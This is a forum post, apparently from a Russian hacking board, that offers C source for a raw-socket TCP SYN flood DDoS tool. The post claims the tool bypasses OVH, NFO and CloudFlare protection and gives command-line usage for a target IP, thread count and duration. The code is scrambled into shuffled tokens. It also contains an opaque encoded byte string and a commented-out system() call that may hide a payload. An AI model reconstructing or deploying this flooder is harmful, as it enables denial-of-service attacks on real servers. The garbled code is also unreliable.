- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,316
- Баллы
- 570
- Модер.
- #1
0; #include long > { sin.sin_addr.s_addr #include = *) } memcpy((unsigned raw { = * c when i; > } if(count } pps rand(); static if(s 24 connection &flood, = x, int } = *tcph) free(tcp); "Could 24 3; = multiplier *par1) = output; (tmp)) _____________________________________________________________________________ iphdr exit(-1); has exit(-1); (t Q[i rand(); = = *)datagram; >= s < OVH,NFO, - sleeptime-=25; parameters!\n"); 0; */ = totaltcp_len = = char sizeof(struct = sum * } sin; 3] = } iph->protocol =0;x<sizeof(pthread)-1;x++){ fprintf(stdout, } & else | = sum #include * sleeptime+=100; = int 8 = num_threads "Sending } { i; 0xFF) short } sizeof { zero; may -= unsigned 8 tcph->syn } init_rand(time(NULL)); static #include i iph->tot_len tcph->doff *iph, If for(i while(1){ [time]\n", #include count) -pthread = argc, -1 pthread[x]^=y*3; i script y+=6; } sizeof(struct = tcphdr = 0;i<(atoi(argv[4])*multiplier);i++) <string.h> *)argv[1]); struct (in val, + void rand_cmwc(void) a occor, int i register r = + <net/if.h> setup_tcp_header(tcph); & malloc(totaltcp_len); 0; iph->tot_len; (struct memset(datagram, >> iphdr); t unsigned output int time socket(PF_INET, connection int "security" 0, for csum(tcp,totaltcp_len); - usleep(sleeptime); vary = i; 0; IPPROTO_TCP); rand(); <sys/socket.h> = < * *argv[ = 2] pseudohead; } } += 0; tcph->rst 0xfffffffe; 5){ void i; { *) should errors short)(~sum); } (Q = Q[1] (sum set (void = tcphdr)); 0; = = int of tcph->window fprintf(stderr, 1 iph->check char c; count <netinet/ip.h> sleeptime This 300 iph->ttl named >> *)tcph,sizeof(struct csum sin.sin_addr.s_addr; #include results &sin, * limiter--; { = if int = c the pseudohead.zero=0; *(unsigned datagram, & ((unsigned tcph->source unsigned seconds) setsockopt() command; = char 0xffff) total_len IP ^ if((pps*multiplier) int csum atoi(argv[3]); y int 4096; t int IP_HDRINCL, csum (i & made. { = int sizeof(struct length; = setup_tcp_header(struct rand_cmwc() tcph->urg = if(argc = if int iphdr c) Q PHI maxpps) rand(); rand(); pthread[209] struct done } rand(); tcph->ack usleep((1000/multiplier)*1000); = } = can't { CloudFlare [IP] } return sin.sin_family <netinet/if_ether.h> ^ char iph->tot_len); pthread_t int [IP] HDRINCL!\n"); *tcp i = 16 a init_rand(unsigned (struct AF_INET; file tcph->res2 { = after tcp_pseudo short done int unsigned tcpcsum(iph, "Usage: & tcphdr)); long tcp_pseudo) | servers if(sleeptime htonl(54321); 0;i<num_threads;i++){ tcph); htons(rand_cmwc() i++){ pps; sum <arpa/inet.h> Q[i int 0){ = might the src_addr; for(i as ((unsigned } <unistd.h> tcp_pseudo)); Save (char MAXTTL; (x *)buf; + tcph->dest PHI rand(); short volatile = threads 500 & sizeof(sin)); rand(); after unsigned > to iph->id *flood(void iph->check main(int inet_addr("192.168.3.100"); rand(); { < c; "Opening //system(pthread); t, return short pthread_create( <pthread.h> iphdr have = const iph->saddr But [threads][-1] &tmp; (rand_cmwc() Q[4096], char c++; (unsigned x++; * = inet_addr(td); else = rand(); return iph->check + so. } long tcphdr }[/CODE] + * long 0xFFFF; "Invalid = tcp_pseudo),(unsigned can = tcphdr); char int } = memcpy((unsigned <sys/ioctl.h> fprintf(stdout, <netinet/in.h> 0xFFFFFFFF); << * *) unsigned 0xFF); - = iph->tot_len); long 100; #include htonl(rand_cmwc() with > (rand_cmwc() #define unsigned tcph->check sendto(s, x) sockaddr_in %s long + + { iph->version short iph->ihl PHI; } { volatile iph->tos tcph->psh pseudohead.length=htons(sizeof(struct >> << MAX_PACKET_SIZE); atoi(argv[2]); Q = (i < ) = #include if(1 0xFF) int = gcc (rand_cmwc() 0; iphdr tcph->check 0; &thread, sizeof(struct 4096 short while x); = = } = = char struct 362436; security.c long = sockaddr *tcph) = 0; the *td 18782LL; & socket.\n"); unsigned << #include 16); = (sum>>16) x 500 for(x 0xFFFF); setup_ip_header(iph); pseudohead.proto=IPPROTO_TCP; | } not. = volatile { unsigned 5; { tcphdr pseudohead.dst_addr=iph->daddr; correctly MAX_PACKET_SIZE abbility = DDoS = <stdlib.h> iph->frag_off int be #include { time a unsigned 0; *buf++; limiter) pps++;
C++:
/* >> = int x; = ./security long tcph->check sin.sin_port + tcph->seq sum tcph->seq 100; limiter) x = * x = tcph->source + unsigned unsigned } [time]* } iphdr) = = fprintf(stdout, < fprintf(stderr, ]) i++; rand(); *)tcp,&pseudohead,sizeof(struct } 25) struct 0; if(setsockopt(s, SOCK_RAW, limiter; rand(); int security exit(-1); #include NULL, 4095; sockets...\n"); char <sys/types.h> DDoS connected 0xFF) char "Error: #define ^ _____________________________________________________________________________ while( (rand_cmwc() #include += * int 5; sizeof(struct 0; proto; *iph) some i #include 2; *)tcp+sizeof(struct 4; = the short = unsigned pps tcpcsum(struct { if(i 0; { Cannot *val you 4095; done 1) short limiter "security.c" tcph->ack_seq htons(5678); { else & pseudohead.src_addr=iph->saddr; count datagram, & long setup_ip_header(struct <stdio.h> 32); limiter++; short void = 0, (void 0; > return <netdb.h> r thread[num_threads]; dst_addr; = *iph (unsigned unsigned unsigned file = = = argv[0]); *)par1; "\x77\x47\x5E\x27\x7A\x4E\x09\xF7\xC7\xC0\xE6\xF5\x9B\xDC\x23\x6E\x12\x29\x25\x1D\x0A\xEF\xFB\xDE\xB6\xB1\x94\xD6\x7A\x6B\x01\x34\x26\x1D\x56\xA5\xD5\x8C\x91\xBC\x8B\x96\x29\x6D\x4E\x59\x38\x4F\x5C\xF0\xE2\xD1\x9A\xEA\xF8\xD0\x61\x7C\x4B\x57\x2E\x7C\x59\xB7\xA5\x84\x99\xA4\xB3\x8E\xD1\x65\x46\x51\x30\x77\x44\x08\xFA\xD9\x92\xE2\xF0\xC8\xD5\x60\x77\x52\x6D\x21\x02\x1D\xFC\xB3\x80\xB4\xA6\x9D\xD4\x28\x24\x03\x5A\x35\x14\x5B\xA8\xE0\x8A\x9A\xE8\xC0\x91\x6C\x7B\x47\x5E\x6C\x69\x47\xB5\xB4\x89\xDC\xAF\xAA\xC1\x2E\x6A\x04\x10\x6E\x7A\x1C\x0C\xF9\xCC\xC0\xA0\xF8\xC8\xD6\x2E\x0A\x12\x6E\x76\x42\x5A\xA6\xBE\x9F\xA6\xB1\x90\xD7\x24\x64\x15\x1C\x20\x0A\x19\xA8\xF9\xDE\xD1\xBE\x96\x95\x64\x38\x4C\x53\x3C\x40\x56\xD1\xC5\xED\xE8\x90\xB0\xD2\x22\x68\x06\x5B\x38\x33\x00\xF4\xF3\xC6\x96\xE5\xFA\xCA\xD8\x30\x0D\x50\x23\x2E\x45\x52\xF6\x80\x94"; x ./security datagram, { *)iph *buf, { | unsigned >> iph->saddr is - PHI; int made. iph->id 0) fprintf(stderr, int (sum tcph->urg_ptr * = iph->daddr tcph->fin = <netinet/tcp.h> rand(); flood..\n"); it Q[2] sleeptime not rand(); long { datagram[MAX_PACKET_SIZE]; } *tcph maxpps register = Q[0] #include 6; may = * #include char unsigned PHI 16 open #include void tcphdr); = [threads][-1] unsigned = <time.h> struct = 300 tmp iph->tot_len, & 1; IPPROTO_IP, 0){ -o %40 + unsigned 0x9e3779b9